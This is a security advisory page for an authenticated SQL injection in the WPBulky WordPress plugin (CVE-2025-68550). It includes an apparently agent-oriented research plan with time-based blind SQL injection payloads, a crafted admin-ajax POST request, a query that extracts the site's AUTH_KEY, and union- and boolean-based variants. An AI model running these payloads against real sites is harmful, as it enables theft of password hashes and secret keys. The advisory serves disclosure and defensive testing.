WPBulky <= 1.1.13 - Authenticated (Author+) SQL Injection
Description
The WPBulky plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.1.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.1.13# Research Plan: CVE-2025-68550 - WPBulky SQL Injection ## 1. Vulnerability Summary The **WPBulky – WordPress Bulk Edit Post Types** plugin (versions <= 1.1.13) contains an authenticated SQL injection vulnerability. The flaw exists because user-supplied input is directly concatenated into a SQL que…
Show full research plan
Research Plan: CVE-2025-68550 - WPBulky SQL Injection
1. Vulnerability Summary
The WPBulky – WordPress Bulk Edit Post Types plugin (versions <= 1.1.13) contains an authenticated SQL injection vulnerability. The flaw exists because user-supplied input is directly concatenated into a SQL query without proper sanitization via esc_sql() or parameterization via $wpdb->prepare(). This allows users with Author-level permissions and above to execute arbitrary SQL commands, potentially leading to the extraction of sensitive database information such as user hashes, site configuration, and nonces.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpbulky_get_posts(inferred) or a similar bulk-fetching action used in the "Bulk Edit" dashboard. - Vulnerable Parameter: Likely a parameter associated with filtering or sorting, such as
order,orderby, or dynamic filter keys (e.g.,wpbulky_filter[...]). - Authentication: Required. The attacker must be logged in as an Author or higher (capability
edit_postsis usually the threshold for bulk editing content). - Preconditions: The plugin must be active, and at least one post type must be available for editing.
3. Code Flow (Inferred)
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwith anactionparameter (e.g.,wpbulky_get_posts). - Hook Registration: The plugin registers the action:
add_action('wp_ajax_wpbulky_get_posts', array($this, 'get_posts_handler'));. - Capability Check: The handler function (e.g.,
get_posts_handler) verifies the user has theedit_postscapability. - Data Processing: The handler retrieves filter or sort parameters from
$_POST. - Vulnerable Sink: These parameters are used to build a raw SQL string.
- Vulnerable Pattern:
$query = "SELECT * FROM $wpdb->posts WHERE post_status = 'publish' ORDER BY " . $_POST['orderby'] . " " . $_POST['order'];
- Vulnerable Pattern:
- Execution: The query is executed via
$wpdb->get_results($query)without using$wpdb->prepare().
4. Nonce Acquisition Strategy
The WPBulky dashboard enqueues scripts that likely contain the necessary AJAX nonce. Since the vulnerability requires Author-level access, we must obtain the nonce from the admin context.
- Login: Use the
http_requesttool to authenticate as an Author. - Navigate: Use
browser_navigateto go to the WPBulky bulk edit page (e.g.,/wp-admin/admin.php?page=wpbulky). - Discovery: Use
browser_evalto search for the localized JavaScript object containing the nonce and AJAX URL.- Common WPBulky JS Object:
wpbulky_settingsorwpbulky_admin_data. - Candidate Command:
browser_eval("window.wpbulky_admin_data || window.wpbulky_settings")
- Common WPBulky JS Object:
- Extraction: Extract the
nonceand the exactactionname from the object.- Example:
window.wpbulky_admin_data.nonce
- Example:
5. Exploitation Strategy
We will attempt a Time-Based Blind SQL Injection or Error-Based Injection (if WP_DEBUG is on) via the identified parameter.
- Identify Vulnerable Parameter: Iterate through parameters sent by the bulk edit interface (e.g.,
order,orderby,post_type). - Craft Payload (Time-Based):
- If the vulnerable parameter is
order:ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) - If the vulnerable parameter is a filter:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- If the vulnerable parameter is
- HTTP Request via
http_request:- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpbulky_get_posts&nonce=[NONCE]&order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Method:
- Confirm Vulnerability: Compare the response time. A delay of ~5 seconds confirms the injection.
- Data Extraction: Use
UNION SELECTif the results are reflected in the UI, or continue with Time-Based Blind to extract theuser_passfor the admin user.
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password - Ensure Posts Exist:
wp post generate --count=5 --post_type=post - Activate Plugin:
wp plugin activate wpbulky-wp-bulk-edit-post-types
7. Expected Results
- Successful confirm: The HTTP request to
admin-ajax.phptakes significantly longer (5+ seconds) than a normal request. - Data Leakage: If utilizing Error-Based SQLi (e.g.,
updatexml), the response body should contain the requested data (e.g., database version or user hash).
8. Verification Steps
- Database Check: Use
wp db queryto verify that the query being injected is indeed one generated by the plugin's logic. - Manual Extraction: Attempt to extract the site's
AUTH_KEYfromwp_options:POST param: order = (SELECT CASE WHEN (ord(substr((SELECT option_value FROM wp_options WHERE option_name='auth_key'),1,1))>1) THEN SLEEP(5) ELSE 1 END)
9. Alternative Approaches
- Union-Based: If the AJAX response returns a list of posts, attempt to null out the original query results and
UNION SELECTarbitrary data fromwp_users. - Boolean-Based: If the plugin returns "No posts found" vs. a list of posts, use a boolean-based approach:
orderby=IF(1=1, post_date, post_title)vsorderby=IF(1=2, post_date, post_title)- Check for differences in the order of returned JSON objects.
- Parameter Discovery: If
wpbulky_get_postsis not the correct action, search the plugin source for allwp_ajax_hooks and test any that use$_POSTvariables in$wpdbcalls.
Summary
WPBulky (versions <= 1.1.13) is vulnerable to authenticated SQL injection because user-supplied input used in post-filtering and sorting is concatenated directly into SQL queries without proper sanitization. This allows users with Author-level permissions or higher to execute arbitrary SQL commands and extract sensitive data from the database.
Exploit Outline
To exploit this vulnerability, an authenticated attacker with Author-level permissions first retrieves the necessary AJAX nonce from the WPBulky admin dashboard. They then send a POST request to the 'admin-ajax.php' endpoint with an action related to fetching posts (e.g., 'wpbulky_get_posts'). The payload is delivered via parameters used for ordering or filtering (such as 'order' or 'orderby'), using time-based blind SQL injection techniques (e.g., SLEEP commands) to confirm the injection and iteratively extract data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.